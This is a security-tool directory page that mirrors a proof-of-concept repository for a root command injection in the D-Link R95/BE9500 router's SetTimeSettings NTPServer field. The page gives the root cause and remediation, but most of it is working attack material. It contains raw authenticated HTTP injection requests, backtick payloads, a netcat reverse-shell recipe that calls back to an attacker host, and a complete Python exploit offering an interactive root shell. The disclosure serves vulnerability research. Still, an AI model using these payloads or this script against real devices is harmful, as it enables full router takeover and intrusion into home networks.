Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-93958 — Authenticated command injection PoC for D-Link R95/BE9500 DHMAPI SetTimeSettings, achieving root RCE via NTPServer backtick injection, with full exploit script. | Kitploit
Tools/GitHubGitHub/hackspeak/cve-2026-93958
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingCommand and ControlHardware & IoT SecurityPapers & Research
GitHub
151 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
hackspeak/cve-2026-93958

CVE-2026-93958

Authenticated command injection PoC for D-Link R95/BE9500 DHMAPI SetTimeSettings, achieving root RCE via NTPServer backtick injection, with full exploit script.

View Repository

D-Link R95 BE9500 Wi-Fi 7 Smart Router

  • Vendor:D-Link
  • Product:R95
  • Product Model:BE9500
  • Firmware Version:1.01B06
  • Vulnerability Type:Authenticated Command Injection

Description

The D-Link R95 BE9500 Wi-Fi 7 Smart Router (firmware version BE9500_1.00.16) contains a command injection vulnerability in the DHMAPI (SOAP over HTTPS) interface when processing SetTimeSettings requests. The user-controlled <NTPServer> field is stored into the configuration database without any sanitization or validation of shell metacharacters. Subsequently, when the configuration is synchronized to UCI (ntpclient.@ntpserver[0].hostname), the vulnerable backend service constructs and executes a shell command enclosed in double quotes via a system()-like call. By injecting backticks (```) into the <NTPServer> value, an attacker can achieve command substitution — the shell evaluates the injected content before executing the concatenated command, allowing arbitrary command execution with root (uid=0) privileges.

The attack requires a valid web management session (sid) obtained through authenticated access (tested with the administrator account Admin). This vulnerability is further amplified by the device's weak default credentials or potential authentication bypass issues, significantly expanding the real-world attack surface.

Impact

An authenticated attacker can execute arbitrary commands with root privileges, leading to full compromise of the device — including reading sensitive files (e.g., /etc/rg_config/admin ciphertext, dumping full configuration backups), installing persistent backdoors, establishing reverse shells, and pivoting into the internal network for lateral movement attacks.

Vulnerability Details

1. Affected Component and Root Cause

The vulnerability resides in the web management backend binary /bin/ssi (running as root), which implements the DHMAPI SOAP interface.

Taint source — the SetTimeSettings handler (function at offset 0x6bd84 in ssi, firmware 1.01B06):

  • Extracts the <NTPServer> field from the SOAP request into a stack buffer, length-capped at 0x3f (63 bytes) — this is a buffer-size limit, not a security check.
  • Stores the value verbatim into the internal configuration key time.value.NTPServer via an internal setter — no filtering or escaping of shell metacharacters is performed at any point.

Taint sink — configuration synchronization to UCI. ssi synchronizes configuration values by concatenating them into shell command strings executed via system()-like calls. Embedded format strings found in the binary include:

root@kitploit:~
uci set %s="%s" > /dev/null

Because the value is wrapped in double quotes, the shell performs command substitution on backticks (`) / $() inside the value before running the concatenated command. Since ssi runs as root, the injected command executes with root privileges.

Timing evidence confirms the evaluation happens synchronously inside the request-handling path: injecting `sleep 10` delays the HTTP response by ~10 seconds. The poisoned value additionally persists into UCI (ntpclient.@ntpserver[0].hostname) and is later consumed unquoted by /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), a secondary hardening gap.

Exploitation constraints (verified):

2. Authentication Prerequisite (API-AUTH scheme)

All DHMAPI requests must carry:

  • Cookie: uid=<session cookie> (from login)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • API-ACTION / SOAPAction headers matching the SOAP action, plus User-Agent and Referer (missing UA/Referer yields HTTP 400/500)
  • ts is a millisecond timestamp; the device does not validate freshness, so a fixed value is reusable

privkey derivation:

  1. Login / Action=request (signed with the static key string withoutloginkey) returns Challenge, Cookie, PublicKey, SaltHash
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (or the plain password when SaltHash is absent)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. Login / Action=login with the above returns <LoginResult>success</LoginResult>; subsequent requests use Cookie: uid=<step-1 Cookie> signed with

3. Proof of Concept

Step 1 — Login request (obtain Challenge/Cookie/PublicKey/SaltHash)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

Step 2 — Login (establish session)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

Expected: <LoginResult>success</LoginResult>.

image-20260823160951351

Step 3 — Command injection (write output to web root)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

Step 4 — Retrieve command output

root@kitploit:~
GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

Observed response body:

root@kitploit:~
uid=0(root) gid=0(root)

image-20260823161234632

Alternative verification — time-based blind injection

root@kitploit:~
<NTPServer>`sleep 10`</NTPServer>

The HTTP response is delayed by ~10 seconds; a benign NTP server name returns immediately.

Full exploitation — reverse shell

The 63-byte field limit is bypassed by writing a script in base64 fragments:

  1. Repeated SetTimeSettings requests, each appending one fragment: `echo -n <b64-fragment> >> /tmp/x`
  2. Decode: `base64 -d /tmp/x > /tmp/rs.rs`
  3. /tmp/rs.rs content (note the mandatory spaces around the pipes for busybox ash): rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f
  4. Trigger: `sh /tmp/rs.rs`

Result: an interactive root shell (~ #, BusyBox ash) is received on the attacker's listener.

EXP:

root@kitploit:~
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS

def post(action, inner, key=None, ck=None):
    body = ('<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
            '<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
    h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
         "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
         "Referer": BASE + "/info/Login.html"}
    if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
    return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)

def login():
    global privkey, cookie
    r = post("Login", "<Action>request</Action><Username>%s</Username>"
             "<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
    g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
    challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
    if not challenge:
        print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
    e = PASSWORD
    if salthash:
        e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
                             salthash.encode(), 5000, dklen=32)).decode()
    privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
              "<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
    if "success" not in r2.text.lower():
        print("[!] login failed:", r2.text[:200]); sys.exit(1)
    print("[+] login OK, cookie=%s" % cookie)

def inject(cmd):
    """Execute one shell command via the NTPServer backtick injection (no output channel)"""
    if "&" in cmd:
        print("[!] command must not contain '&'"); return False
    r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    if r.status_code == 401:
        print("[*] session expired, re-authenticating..."); login()
        r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    return r.status_code == 200

def run(cmd):
    """Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
    cmd = cmd.strip()
    if not cmd: return
    direct = "%s>%s" % (cmd, OUT)
    if len(direct) <= 54:
        ok = inject(direct)
    else:
        b64 = base64.b64encode(cmd.encode()).decode()
        inject("rm -f /tmp/x")
        for i in range(0, len(b64), 40):
            if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
                print("[!] fragment injection failed"); return
        inject("base64 -d /tmp/x>/tmp/x.sh")
        ok = inject("sh /tmp/x.sh>%s" % OUT)
    if not ok:
        print("[!] injection request failed"); return
    time.sleep(1)
    r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
              "Referer": BASE + "/info/Login.html"}, timeout=15)
    out = r.text.rstrip("\n")
    print(out if out else "(no output)")

if __name__ == "__main__":
    login()
    if len(sys.argv) > 1:
        run(" ".join(sys.argv[1:])); sys.exit(0)
    print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
    while True:
        try: c = input("r95# ")
        except (EOFError, KeyboardInterrupt): break
        if c.strip() in ("exit", "quit"): break
        run(c)

image-20260823161917864

4. Root Cause Summary

  1. ssi stores the NTPServer field (and sibling fields in the same handler) into the configuration database with zero sanitization;
  2. Configuration synchronization uses system()-style shell string concatenation with the value wrapped in double quotes, causing the shell to evaluate backticks / $() in the value;
  3. ssi runs as root, so injected commands execute with the highest privilege.

The same code pattern yields at least 7 additional authenticated command injection points in this firmware (TZLocation, DeviceName, DDNS Hostname/Username, client NickName, and a second-order injection via SetNetworkSettings), all verified with uid=0(root) execution.

5. Remediation

  • Apply strict whitelist validation ([A-Za-z0-9.-]) to hostname-type input fields before storage;
  • Replace system() string concatenation with the libuci API (already linked into ssi) or exec*-family calls without a shell;
  • Quote the $HOSTNAME variable in /bin/start_ntpclient.sh;
  • Run the web management service with reduced privileges;
  • Audit and uniformly fix the sibling injection points listed above.

分发镜像说明(中文)

本仓库为 CVE-2026-93958(D-Link R95 / BE9500 DHMAPI 命令注入) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 D-Link R95 BE9500.md)。内容由上游公开 PoC 仓库镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-93958 / D-Link R95(BE9500)Wi-Fi 7 智能路由器
  • 受影响固件:BE9500_1.00.16 / 1.01B06 系列
  • 类型:OS 命令注入(CWE-77 / CWE-78)→ root 权限任意命令执行
  • CVSS 3.1:9.1(Critical);CVSS 4.0:8.5;CVSS 2.0:8.3
  • 攻击面:DHMAPI(SOAP over HTTPS)接口 SetTimeSettings 请求的 <NTPServer> 字段
  • 前置条件:需一个有效的 Web 管理会话(认证后)
  • 影响组件:以 root 运行的 Web 管理后端 /bin/ssi

核心原理:/bin/ssi 的 SetTimeSettings 处理函数(偏移 0x6bd84)把 <NTPServer> 字段(长度上限 0x3f=63 字节,但无任何 shell 元字符过滤)原样存入配置库;配置同步到 UCI 时,ssi 把值拼进 uci set %s="%s" > /dev/null 这类 shell 字符串并用 system() 执行——值被双引号包裹,shell 会对反引号 / $() 做命令替换,而 ssi 以 root 运行,故注入命令满权限执行。

目录结构 / Layout

root@kitploit:~
D-Link R95 BE9500.md   —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py             —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png            —— 上游报告附图(5 张)

环境与用法 / Requirements & Usage

  • 目标:未修复固件的 D-Link R95 / BE9500(实验室设备);需有效管理会话(管理员账号)
  • 依赖:Python 3 + requests
  • 用法:
root@kitploit:~
python r95_exp.py            # 交互式 root shell(命令在设备上以 root 执行)
python r95_exp.py "id"       # 执行单条命令

⚠️ 注意:注入字段长度上限约 63 字节,且命令不能含 &;EXP 对 ≤54 字节命令直接注入,更长的命令自动切 base64 分片写入 /tmp/x 再解码执行,输出写入 Web 根目录 /www/e 后经 HTTP 取回。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限在设备上执行任意命令,请在可销毁的实验室环境中测试。

归属与许可 / Attribution & License

  • 上游 PoC 报告与 EXP 作者:FoundTL(公开漏洞研究仓库 FoundTL/D-Link-R95-BE9500)。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-93958
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-93958
  • D-Link 官网:https://www.dlink.com/
Download Tool
ConstraintVerified result
Field length≤ 63 bytes accepted; 60 bytes OK, 80 bytes rejected (HTTP 400)
& characterMust not appear (breaks the concatenated command line)
Injection syntaxBackticks `cmd` verified; $(cmd) expected to work equally
Execution contextuid=0(root) gid=0(root)
Output channelNo direct echo; redirect to web root (> /www/<file>) and retrieve via HTTP GET
privkey